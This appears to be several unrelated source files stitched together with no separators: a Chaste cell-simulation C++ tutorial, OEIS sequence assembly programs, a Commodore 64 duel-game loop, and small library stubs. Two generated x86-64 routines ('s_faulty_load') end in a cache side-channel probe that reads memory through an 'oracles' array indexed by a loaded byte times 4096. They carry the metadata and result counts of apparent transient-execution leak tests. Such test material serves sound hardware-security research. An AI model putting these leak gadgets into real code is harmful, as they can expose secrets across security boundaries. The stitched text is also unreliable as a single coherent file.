* == Defining the cell population boundary condition class == * * As an example, let us consider a boundary condition for a two-dimensional cell-based * simulation, in which all cells are constrained to lie within the domain given in * Cartesian coordinates by 0 <= y <= 5. To implement this we define a cell population * boundary condition class, {{{MyBoundaryCondition}}}, which inherits from * {{{AbstractCellPopulationBoundaryCondition}}} and overrides the methods * {{{ImposeBoundaryCondition()}}}, {{{VerifyBoundaryCondition()}}} and * {{{OutputCellPopulationBoundaryConditionParameters()}}}. */ class MyBoundaryCondition : public AbstractCellPopulationBoundaryCondition<2> { private: friend class boost::serialization::access; template<class Archive> void serialize(Archive & archive, const unsigned int version) { archive & boost::serialization::base_object<AbstractCellPopulationBoundaryCondition<2> >(*this); } public: /* The first public method is a default constructor, which calls the base * constructor. There is a single input argument, a pointer to a cell population. */ MyBoundaryCondition(AbstractCellPopulation<2>* pCellPopulation) : AbstractCellPopulationBoundaryCondition<2>(pCellPopulation) { } /* The second public method overrides {{{ImposeBoundaryCondition()}}}. * This method is called during the {{{Solve()}}} method in {{{OffLatticeSimulation}}} * at the end of each timestep, just after the position of each node * in the cell population has been updated according to its equation of motion. * The method iterates over all cells in the population, and moves any cell whose * centre has y coordinate less than 0 or greater than 5 back into the domain. * * Implicit in this method is the assumption that, when a node hits the * boundary of the domain, it does so inelastically. This means, for example, * that a node hitting the boundary at y=0 has its location moved to y=0. A * more physically realistic modelling assumption might be to assume that * momentum is conserved in the collision. * * Also implicit in this method is the assumption that we are using a cell-centre * based population. If we were using a vertex-based population then each node * would correspond not to a cell centre but to a vertex. */ void ImposeBoundaryCondition(const std::map<Node<2>*, c_vector<double, 2> >& rOldLocations) { for (AbstractCellPopulation<2>::Iterator cell_iter = this->mpCellPopulation->Begin(); cell_iter != this->mpCellPopulation->End(); ++cell_iter) { unsigned node_index = this->mpCellPopulation->GetLocationIndexUsingCell(*cell_iter); Node<2>* p_node = this->mpCellPopulation->GetNode(node_index); double y_coordinate = p_node->rGetLocation()[1]; if (y_coordinate > 5.0) { p_node->rGetModifiableLocation()[1] = 5.0; } else if (y_coordinate < 0.0) { p_node->rGetModifiableLocation()[1] = 0.0; } } } /* The third public method overrides {{{VerifyBoundaryCondition()}}}. * This method is called during the {{{Solve()}}} method in {{{OffLatticeSimulation}}} * at the end of each timestep, just after {{{ImposeBoundaryCondition()}}}, and checks * that each cell in the population now satisfies {{{MyBoundaryCondition}}}. */ bool VerifyBoundaryCondition() { bool condition_satisfied = true; for (AbstractCellPopulation<2>::Iterator cell_iter = this->mpCellPopulation->Begin(); cell_iter != this->mpCellPopulation->End(); ++cell_iter) { c_vector<double, 2> cell_location = this->mpCellPopulation->GetLocationOfCellCentre(*cell_iter); double y_coordinate = cell_location(1); if ((y_coordinate < 0.0) || (y_coordinate > 5.0)) { condition_satisfied = false; break; } } return condition_satisfied; } /* Just as we encountered in [wiki:UserTutorials/CreatingAndUsingANewCellKiller], here we must override * a method that outputs any member variables to a specified results file {{{rParamsFile}}}. * In our case, there are no parameters, so we simply call the method on the base class. * Nonetheless, we still need to override the method, since it is pure virtual in the base * class. */ void OutputCellPopulationBoundaryConditionParameters(out_stream& rParamsFile) { AbstractCellPopulationBoundaryCondition<2>::OutputCellPopulationBoundaryConditionParameters(rParamsFile); } }; /* As mentioned in previous cell-based Chaste tutorials, we need to include the next block * of code to be able to archive the cell population boundary condition object in a cell-based * simulation, and to obtain a unique identifier for our new boundary condition for writing * results to file. */ #include "SerializationExportWrapper.hpp" CHASTE_CLASS_EXPORT(MyBoundaryCondition) #include "SerializationExportWrapperForCpp.hpp" CHASTE_CLASS_EXPORT(MyBoundaryCondition) namespace boost { namespace serialization { template<class Archive> inline void save_construct_data( Archive & ar, const MyBoundaryCondition * t, const unsigned int file_version) { const AbstractCellPopulation<2>* const p_cell_population = t->GetCellPopulation(); ar << p_cell_population; } template<class Archive> inline void load_construct_data( Archive & ar, MyBoundaryCondition * t, const unsigned int file_version) { AbstractCellPopulation<2>* p_cell_population; ar >> p_cell_population; ::new(t)MyBoundaryCondition(p_cell_population); } } } /* * This completes the code for {{{MyBoundaryCondition}}}. Note that usually this code * would be separated out into a separate declaration in a .hpp file and definition * in a .cpp file. * * EMPTYLINE * * === The Tests === * * EMPTYLINE * * We now define the test class, which inherits from {{{AbstractCellBasedTestSuite}}}. */ class TestCreatingAndUsingANewCellPopulationBoundaryConditionTutorial : public AbstractCellBasedTestSuite { public: /* * EMPTYLINE * * == Testing the cell population boundary condition == * * EMPTYLINE * * We now test that our new cell population boundary condition is implemented correctly. */ void TestMyBoundaryCondition() { /* We first create a {{{MeshBasedCellPopulation}}} using the helper * classes {{{HoneycombMeshGenerator}}} and {{{CellsGenerator}}}, * as in previous cell-based Chaste tutorials. */ HoneycombMeshGenerator generator(7, 7); MutableMesh<2,2>* p_mesh = generator.GetMesh(); std::vector<CellPtr> cells; CellsGenerator<FixedG1GenerationalCellCycleModel, 2> cells_generator; cells_generator.GenerateBasic(cells, p_mesh->GetNumNodes()); MeshBasedCellPopulation<2> cell_population(*p_mesh, cells); /* We now use the cell population to construct a cell population boundary condition object. */ MyBoundaryCondition bc(&cell_population); /* We start by verifying that some cells do not satisfy the boundary condition: */ bool population_satisfies_bc = bc.VerifyBoundaryCondition(); TS_ASSERT_EQUALS(population_satisfies_bc, false); std::map<Node<2>*, c_vector<double, 2> > old_node_locations; for (AbstractMesh<2,2>::NodeIterator node_iter = p_mesh->GetNodeIteratorBegin(); node_iter != p_mesh->GetNodeIteratorEnd(); ++node_iter) { old_node_locations[&(*node_iter)] = node_iter->rGetLocation(); } /* To test that we have implemented the cell population boundary condition correctly, * we call the overridden method {{{ImposeBoundaryCondition()}}}... */ bc.ImposeBoundaryCondition(old_node_locations); /* ... and check that the cell population does indeed now satisfy the boundary condition: */ population_satisfies_bc = bc.VerifyBoundaryCondition(); TS_ASSERT_EQUALS(population_satisfies_bc, true); /* The last block of code provides an archiving test for the cell population boundary * condition, in a similar way to previous cell-based Chaste tutorials: */ OutputFileHandler handler("archive", false); std::string archive_filename = handler.GetOutputDirectoryFullPath() + "my_bc.arch"; { std::ofstream ofs(archive_filename.c_str()); boost::archive::text_oarchive output_arch(ofs); AbstractCellPopulationBoundaryCondition<2>* const p_bc = new MyBoundaryCondition(NULL); output_arch << p_bc; delete p_bc; } { std::ifstream ifs(archive_filename.c_str(), std::ios::binary); boost::archive::text_iarchive input_arch(ifs); AbstractCellPopulationBoundaryCondition<2>* p_bc; input_arch >> p_bc; delete p_bc; } } /* * == Using the boundary condition in a cell-based simulation == * * We now provide a test demonstrating how {{{MyBoundaryCondition}}} can be used * in a cell-based simulation. */ void TestOffLatticeSimulationWithMyBoundaryCondition() { /* Once again we create a {{{MeshBasedCellPopulation}}}. */ HoneycombMeshGenerator generator(7, 7, 0); MutableMesh<2,2>* p_mesh = generator.GetMesh(); std::vector<CellPtr> cells; CellsGenerator<FixedG1GenerationalCellCycleModel, 2> cells_generator; cells_generator.GenerateBasic(cells, p_mesh->GetNumNodes()); MeshBasedCellPopulation<2> cell_population(*p_mesh, cells); /* We use the cell population to construct a cell population boundary condition object. */ MAKE_PTR_ARGS(MyBoundaryCondition, p_bc, (&cell_population)); /* We then pass in the cell population into an {{{OffLatticeSimulation}}}, * and set the output directory, output multiple, and end time. */ OffLatticeSimulation<2> simulator(cell_population); simulator.SetOutputDirectory("TestOffLatticeSimulationWithMyBoundaryCondition"); simulator.SetSamplingTimestepMultiple(12); simulator.SetEndTime(1.0); /* We create a force law and pass it to the {{{OffLatticeSimulation}}}. */ MAKE_PTR(GeneralisedLinearSpringForce<2>, p_linear_force); p_linear_force->SetCutOffLength(3); simulator.AddForce(p_linear_force); /* We now pass the cell population boundary condition into the cell-based simulation. */ simulator.AddCellPopulationBoundaryCondition(p_bc); /* To run the simulation, we call {{{Solve()}}}. */ simulator.Solve(); } /* * When you visualize the results with * * {{{java Visualize2dCentreCells /tmp/$USER/testoutput/TestOffLatticeSimulationWithMyBoundaryCondition/results_from_time_0}}} * * you should see that cells are restricted to the domain 0 <= y <= 5. * */ }; #endif /*TESTCREATINGANDUSINGANEWCELLPOPULATIONBOUNDARYCONDITIONTUTORIAL_HPP_*/
; A013936: a(n) = Sum_{k=1..n} floor(n/k^2). ; 1,2,3,5,6,7,8,10,12,13,14,16,17,18,19,22,23,25,26,28,29,30,31,33,35,36,38,40,41,42,43,46,47,48,49,53,54,55,56,58,59,60,61,63,65,66,67,70,72,74,75,77,78,80,81,83,84,85,86,88,89,90,92,96,97,98,99,101,102,103,104,108,109,110,112,114,115,116,117,120,123,124,125,127,128,129,130,132,133,135,136,138,139,140,141,144,145,147,149,153 mov $2,$0 add $2,1 mov $4,$0 lpb $2 mov $0,$4 sub $2,1 sub $0,$2 seq $0,46951 ; a(n) is the number of squares dividing n. add $3,$0 lpe mov $0,$3
; A093801: a(n) = b(n)*Integral_{x=0..1/(4^n)} (1 - sqrt(x)) dx, where b(n) = 3*24^n. ; 1,12,90,594,3726,22842,138510,835434,5025726,30193722,181280430,1088036874,6529284126,39178893402,235082926350,1410526255914,8463243628926,50779720053882,304679095164270,1828076895508554,10968468346620126 mov $1,64 mov $2,1 lpb $0 sub $0,1 mul $1,3 add $2,1 mul $2,2 lpe add $0,$1 mul $0,$2 sub $0,58 div $0,64 add $0,1
; duel-game.asm ; Main Game! ; ============================================================== ; Main Game Loop - broken into subroutines ; ============================================================== ;------------------------------------------------------------------------------ MAINLOOP ; Draw the game screen PRINT CG_UCS ; Switch back to upper/graphics jsr DRAWORIGSCREEN jsr SETUPSPRITES jsr SOUND_SETUP lda #$00 sta $d020 ldx MYPLAYERNUM lda PLAYERCOLORS,x sta $0286 PLOT 37,4 PRINTBYTE MYPLAYERNUM ;Init game - set my health to 100 and show lda #100 sta MYHEALTH PLOT 31,13 PRINT CG_WHT PRINTBYTE MYHEALTH PRINT "% " ;Start of game loop MAINLOOP1 ;Reset health received flag here. Avoids race condition later on. lda #$00 sta HEALTH_RECEIVED lda MYTURN ; Not my turn. beq goTARGET ; My turn. jsr ATTACKER jmp ENDOFTURN goTARGET ; In case the attacker code grows >255 byes, can't branch jsr TARGET jmp ENDOFTURN ; ============================================================== ; End of turn ; ============================================================== ENDOFTURN ; Exchange health packets - attacker goes first lda MYTURN beq WAITHEALTH2 ; Not my turn. ; My turn, Send first ---------------------------------------- SENDFIRST jsr SENDHEALTH ; Wait for packet second. jsr WAITHEALTH ; Done. jmp SHOWHEALTH ; Not my turn. Wait first. --------------------------------- WAITHEALTH2 jsr WAITHEALTH ;Send second. jsr SENDHEALTH ;Done. jmp SHOWHEALTH ; Display my health --------------------------- SHOWHEALTH PLOT 31,13 PRINT CG_WHT PRINTBYTE MYHEALTH PRINT "% " CHECKME ;Check end of game for me ldx MYHEALTH dex ; So that health=0 means game over bpl CHECKOPP ; Result still positive, I'm OK ;Negative result - I'm dead! lda #$00 sta YOUWIN jmp ENDOFGAME CHECKOPP ;Check end of game for opponent ldx OPPHEALTH dex ; So that health=0 means game over bpl TOGGLE ; Result still positive, Opponent is OK ;Negative result - Opponent is dead! lda #$01 sta YOUWIN jmp ENDOFGAME TOGGLE ; Toggle whose turn it is and go back to start lda #$01 eor MYTURN sta MYTURN jmp MAINLOOP1 ; ============================================================== ; My turn ; ============================================================== ATTACKER jsr SENDWEATHER ; Calcs and sends cloud location+windspeed jsr SHOWWEATHER ; Shows what was just sent jsr SHOWSETTINGS ; Show my initial angle+power PROMPT ldx MYPLAYERNUM lda PLAYERCOLORS,x sta $0286 PLOT 31,16 PRINT "YOUR " PLOT 31,17 PRINT "TURN " PLOT 31,18 PRINT " " PLAYERINPUT ;---------------------------- lda #$01 sta JOYOK ; Allow joystick input ; Check keys jsr $ffe4 cmp #$00 beq CHECKJOY KEYS cmp #$88 ;F7, chat bne CHECKJOY jsr CHATINPUT jmp PLAYERINPUT ; Joystick is read and processed by the interrupt. CHECKJOY lda JOYBUTTON bne DOFIRE jsr SHOWSETTINGS beq PLAYERINPUT ; zero means no fire, keep looking for input DOFIRE lda #$00 sta JOYOK ; Turn off joystick input sta JOYBUTTON ; Clear the flag that joystick button has been pressed ;Preserve angle lda MYANGLE sta WEAPONANGLE sta WEAPONPACKET+2 ; Preserve Power lda MYPOWER sta WEAPONPOWER sta WEAPONPACKET+3 ; Ready to fire! Send the packet. Blocks until ACK received. jsr SENDWEAPON ; And animate the weapon in sync (more or less) with the opponent. jsr SHOWBULLET rts ; ======================================================================== ; Not my turn. Wait for opponent to send us a packet. ; ======================================================================== TARGET ; Update screen jsr SHOWSETTINGS ldx OPP_PLAYERNUM lda PLAYERCOLORS,x sta $0286 PLOT 31,16 PRINT "WAITING " PLOT 31,17 PRINT "FOR " PLOT 31,18 PRINTSTRING OPP_NAME WAITFORPACKET ; Always clear and wait lda #$00 sta PACKET_RECEIVED WAITFORPACKET1 lda PACKET_RECEIVED ; Set by irq bne GOTPACKET ; not zero, so got packet ; Check keys jsr $ffe4 cmp #$00 beq WAITFORPACKET1 KEYS1 cmp #$88 ;F7, chat bne WAITFORPACKET1 jsr CHATINPUT jmp WAITFORPACKET ; Packet received! ; Was already ACKed by the receive routine in the interrupt. ; Assume packet# was checked too. GOTPACKET lda LAST_PACKET_TYPE CHECKFORWEAPON ; This ends the turn cmp #$02 ;weapon bne CHECKFORCHAT lda INPACKET+$2C sta WEAPONANGLE lda INPACKET+$2D sta WEAPONPOWER jsr SHOWBULLET rts CHECKFORCHAT lda CHAT_RECEIVED beq CHECK_x jsr SHOWCHATMSG ; All other packet types are ignored CHECK_x jmp WAITFORPACKET ; ============================================================== ; Weather animation - used by both sides - Fuzz's code here ; ============================================================== CLOUDLOC dc.b $00 WINDSPEED dc.b $00 WEATHERANIM rts ; ============================================================== ; Update Screen for Angle/Power ; ============================================================== SHOWSETTINGS PRINT CG_WHT PLOT 31,7 PRINTBYTE MYANGLE PRINT "' " PLOT 31,10 PRINTBYTE MYPOWER PRINT "% " ;Check for incoming chat lda CHAT_RECEIVED beq SHOWSETTINGS_x jsr SHOWCHATMSG SHOWSETTINGS_x rts ; ============================================================== ; Game over! ; ============================================================== WINNER .byte #$00 YOUWIN .byte $FF ENDOFGAME PRINT 19, 5, "GAME OVER!",13 lda YOUWIN beq YOULOST PRINT CG_GRN,"YOU WON!",13 jmp PLAYAGAIN YOULOST PRINT CG_RED,"YOU LOST!!",13 jmp PLAYAGAIN PLAYAGAIN PRINT CG_YEL, "PLAY AGAIN (Y/N)" jsr yn1 cmp #$01 ; Y beq RESTART jmp 64738 ; reboot! RESTART jmp MAINLOOP ;------------------------------------------------------------------------- ;Wait for a health packet WAITHEALTH lda #$07 ;Yellow. LED is reset by receive routine in thread sta COMMSLED lda HEALTH_RECEIVED ; Set by irq bne WAITDONE lda $028d cmp #$04 ; CTRL Key bne WAITHEALTH ; So LED stays yellow ;Done. WAITDONE rts ; ============================================================== MYTURN dc.b $FF ; Overwritten MYANGLE dc.b 45 ; Default - decimal MYPOWER dc.b 50 ; Default - decimal MYHEALTH dc.b $64 ; Default, 100 OPPHEALTH dc.b $FF ; Read from packet and overwritten here
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %r12 push %r13 push %r8 push %rcx push %rdi push %rsi lea addresses_WC_ht+0x1bd53, %rsi nop nop nop nop nop and $30164, %rcx mov (%rsi), %r11d nop cmp %r10, %r10 lea addresses_WT_ht+0x9fd3, %r12 nop nop nop nop and %r11, %r11 movb $0x61, (%r12) nop nop xor $23043, %r11 lea addresses_UC_ht+0x14b13, %rsi lea addresses_WT_ht+0x14c53, %rdi nop nop and %r13, %r13 mov $33, %rcx rep movsq add $24733, %r12 lea addresses_D_ht+0x10153, %rsi lea addresses_D_ht+0x1a7dc, %rdi nop nop nop nop inc %r13 mov $119, %rcx rep movsw nop nop nop cmp %rdi, %rdi lea addresses_UC_ht+0x5953, %rsi lea addresses_WT_ht+0x1a813, %rdi nop nop nop nop nop cmp $11681, %r8 mov $115, %rcx rep movsw nop nop nop nop nop and %r10, %r10 lea addresses_WC_ht+0x1cb33, %r12 nop nop nop add $59572, %rsi mov $0x6162636465666768, %r13 movq %r13, %xmm6 and $0xffffffffffffffc0, %r12 vmovntdq %ymm6, (%r12) nop nop nop nop nop cmp %r12, %r12 lea addresses_A_ht+0x753, %r13 nop nop nop nop cmp %rcx, %rcx movb (%r13), %r10b nop nop nop nop nop dec %rcx lea addresses_WC_ht+0x16553, %r13 nop nop nop nop nop and %r11, %r11 movb (%r13), %cl nop nop nop cmp %r10, %r10 lea addresses_WC_ht+0x1a993, %r8 nop nop nop and $14749, %r11 movb (%r8), %r10b nop nop nop add %r13, %r13 lea addresses_UC_ht+0x17af3, %rsi lea addresses_normal_ht+0x5b53, %rdi cmp $59483, %r8 mov $76, %rcx rep movsl nop nop nop nop xor $27109, %r8 pop %rsi pop %rdi pop %rcx pop %r8 pop %r13 pop %r12 pop %r11 pop %r10 ret .global s_faulty_load s_faulty_load: push %r11 push %r8 push %rbx push %rcx push %rdi push %rdx push %rsi // REPMOV lea addresses_normal+0x1a963, %rsi lea addresses_normal+0x7f3, %rdi nop nop nop and $49122, %r11 mov $3, %rcx rep movsw nop nop and $14635, %rdx // Load mov $0x28cf910000000053, %rbx clflush (%rbx) cmp %r8, %r8 mov (%rbx), %edx nop and %rdx, %rdx // Load mov $0x753, %rsi cmp %r8, %r8 mov (%rsi), %rdi nop cmp $18479, %rbx // Store lea addresses_RW+0x1bd53, %rcx nop nop nop cmp %r11, %r11 mov $0x5152535455565758, %r8 movq %r8, (%rcx) nop and $23463, %r11 // Load lea addresses_UC+0x10153, %r8 nop sub %rsi, %rsi movups (%r8), %xmm4 vpextrq $1, %xmm4, %rbx nop nop nop sub %rdi, %rdi // Store mov $0x267e7d0000000153, %rbx nop nop nop nop nop xor %r11, %r11 mov $0x5152535455565758, %rcx movq %rcx, %xmm1 movups %xmm1, (%rbx) nop nop nop nop xor %r8, %r8 // Faulty Load lea addresses_US+0x3553, %rdi nop nop nop nop nop add $53892, %rdx vmovups (%rdi), %ymm2 vextracti128 $0, %ymm2, %xmm2 vpextrq $1, %xmm2, %rsi lea oracles, %r11 and $0xff, %rsi shlq $12, %rsi mov (%r11,%rsi,1), %rsi pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %r8 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_US', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 4, 'type': 'addresses_normal'}, 'dst': {'same': False, 'congruent': 5, 'type': 'addresses_normal'}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_NC', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 8}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_P', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 9}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_RW', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 11}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_UC', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 9}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_NC', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 10}} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_US', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WC_ht', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 11}} {'OP': 'STOR', 'dst': {'same': True, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 4}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 5, 'type': 'addresses_UC_ht'}, 'dst': {'same': False, 'congruent': 8, 'type': 'addresses_WT_ht'}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 9, 'type': 'addresses_D_ht'}, 'dst': {'same': False, 'congruent': 0, 'type': 'addresses_D_ht'}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 9, 'type': 'addresses_UC_ht'}, 'dst': {'same': False, 'congruent': 6, 'type': 'addresses_WT_ht'}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WC_ht', 'NT': True, 'AVXalign': False, 'size': 32, 'congruent': 4}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 4}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WC_ht', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 9}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WC_ht', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 6}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 2, 'type': 'addresses_UC_ht'}, 'dst': {'same': False, 'congruent': 9, 'type': 'addresses_normal_ht'}} {'00': 4, '47': 2, '34': 7} 34 34 47 34 00 00 47 00 34 00 34 34 34 */
; BSD ; char *rindex(const char *s, int c) SECTION code_string PUBLIC rindex_callee EXTERN strrchr_callee defc rindex_callee = strrchr_callee
; A174709: Partial sums of floor(n/6). ; 0,0,0,0,0,0,1,2,3,4,5,6,8,10,12,14,16,18,21,24,27,30,33,36,40,44,48,52,56,60,65,70,75,80,85,90,96,102,108,114,120,126,133,140,147,154,161,168,176,184,192,200,208,216,225,234,243,252,261,270,280,290,300,310,320,330,341,352,363,374,385,396,408,420,432,444,456,468,481,494,507,520,533,546,560,574,588,602,616,630,645,660,675,690,705,720,736,752,768,784 sub $0,2 pow $0,2 div $0,12
BITS 32 SEGMENT .text ;this function needs to mock up what a 'ret' does ;we take 2 parameters - ; * the return address to branch to ; * a pointer to the register context structure ; * we need to take all of the registers that are in ; the register parameter structure and global _doRet ; void doRet(uint32_t retPtr, regs *r, uint32_t frame); _doRet: mov edi, [esp+12] ;frame add edi, 12 mov eax, [esp+4] ;retPtr mov esp, edi pop ebp jmp eax global _doCall ;void doCall(uint32_t tgtPtr, regs *r) _doCall: ;we need to put the address of 'done' into our stack ;TODO mov eax, done ;add the parameter mov eax, [esp+8] push eax ;then, call the specified tgtptr mov eax, [esp+4] call eax ;this is where we come back to done: ret
.global s_prepare_buffers s_prepare_buffers: push %r13 push %r8 push %r9 push %rax push %rbx push %rcx push %rdi push %rsi lea addresses_UC_ht+0x1d631, %rsi lea addresses_A_ht+0xe351, %rdi nop sub %rax, %rax mov $20, %rcx rep movsq nop sub $10862, %rbx lea addresses_WC_ht+0x2c31, %rsi lea addresses_A_ht+0x4e4d, %rdi clflush (%rsi) nop sub %r9, %r9 mov $99, %rcx rep movsq nop nop nop nop nop xor %rsi, %rsi lea addresses_D_ht+0x1e3b5, %rcx cmp %r13, %r13 movups (%rcx), %xmm0 vpextrq $0, %xmm0, %rsi nop nop nop nop xor $33736, %rbx lea addresses_D_ht+0x8651, %rsi lea addresses_A_ht+0x9e31, %rdi nop nop nop nop nop inc %rax mov $117, %rcx rep movsq nop nop nop nop nop xor $56730, %rax lea addresses_A_ht+0x19e31, %rax nop nop dec %rbx mov (%rax), %rdi xor %rax, %rax lea addresses_WC_ht+0x122e1, %rsi nop nop nop nop sub $19658, %rax mov $0x6162636465666768, %rbx movq %rbx, %xmm1 movups %xmm1, (%rsi) nop nop nop nop cmp %r13, %r13 lea addresses_normal_ht+0x67c1, %rsi lea addresses_A_ht+0xdef1, %rdi and %r8, %r8 mov $122, %rcx rep movsl nop xor %rbx, %rbx lea addresses_normal_ht+0x9f59, %rcx nop nop nop sub %rdi, %rdi mov (%rcx), %si nop nop nop and %rbx, %rbx lea addresses_WC_ht+0xe231, %rsi lea addresses_normal_ht+0x2b31, %rdi clflush (%rsi) add %r8, %r8 mov $30, %rcx rep movsw nop nop nop nop xor $8288, %rdi lea addresses_normal_ht+0x1aef1, %rdi clflush (%rdi) nop inc %rsi movw $0x6162, (%rdi) nop nop add $59961, %r9 lea addresses_D_ht+0xa931, %r9 inc %rbx movw $0x6162, (%r9) nop nop nop nop nop xor $44904, %r13 lea addresses_WC_ht+0x14631, %rsi lea addresses_WT_ht+0xcb31, %rdi nop and $11760, %rbx mov $75, %rcx rep movsb nop nop nop nop and %r8, %r8 lea addresses_normal_ht+0x3901, %rsi lea addresses_D_ht+0x1dd31, %rdi and $58340, %r9 mov $54, %rcx rep movsl nop nop nop and %r8, %r8 lea addresses_WT_ht+0x1e49, %rsi lea addresses_D_ht+0x15c31, %rdi nop nop nop nop nop inc %rax mov $90, %rcx rep movsb nop nop and $45992, %rbx pop %rsi pop %rdi pop %rcx pop %rbx pop %rax pop %r9 pop %r8 pop %r13 ret .global s_faulty_load s_faulty_load: push %r11 push %rax push %rbp push %rbx push %rcx push %rdi push %rsi // Store mov $0x3ff0ca0000000f21, %rsi nop nop inc %rcx movw $0x5152, (%rsi) nop nop dec %rsi // Faulty Load lea addresses_WT+0x18631, %rax xor %rbx, %rbx movb (%rax), %cl lea oracles, %rbx and $0xff, %rcx shlq $12, %rcx mov (%rbx,%rcx,1), %rcx pop %rsi pop %rdi pop %rcx pop %rbx pop %rbp pop %rax pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_WT', 'same': False, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_NC', 'same': False, 'size': 2, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} [Faulty Load] {'src': {'type': 'addresses_WT', 'same': True, 'size': 1, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_UC_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 5, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_WC_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 1, 'same': True}, 'OP': 'REPM'} {'src': {'type': 'addresses_D_ht', 'same': False, 'size': 16, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_D_ht', 'congruent': 2, 'same': True}, 'dst': {'type': 'addresses_A_ht', 'congruent': 9, 'same': True}, 'OP': 'REPM'} {'src': {'type': 'addresses_A_ht', 'same': False, 'size': 8, 'congruent': 11, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_WC_ht', 'same': False, 'size': 16, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_normal_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 6, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_normal_ht', 'same': False, 'size': 2, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WC_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 4, 'same': False}, 'OP': 'REPM'} {'dst': {'type': 'addresses_normal_ht', 'same': False, 'size': 2, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_D_ht', 'same': False, 'size': 2, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_WC_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 8, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_normal_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 7, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_WT_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 8, 'same': False}, 'OP': 'REPM'} {'39': 380} 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 */
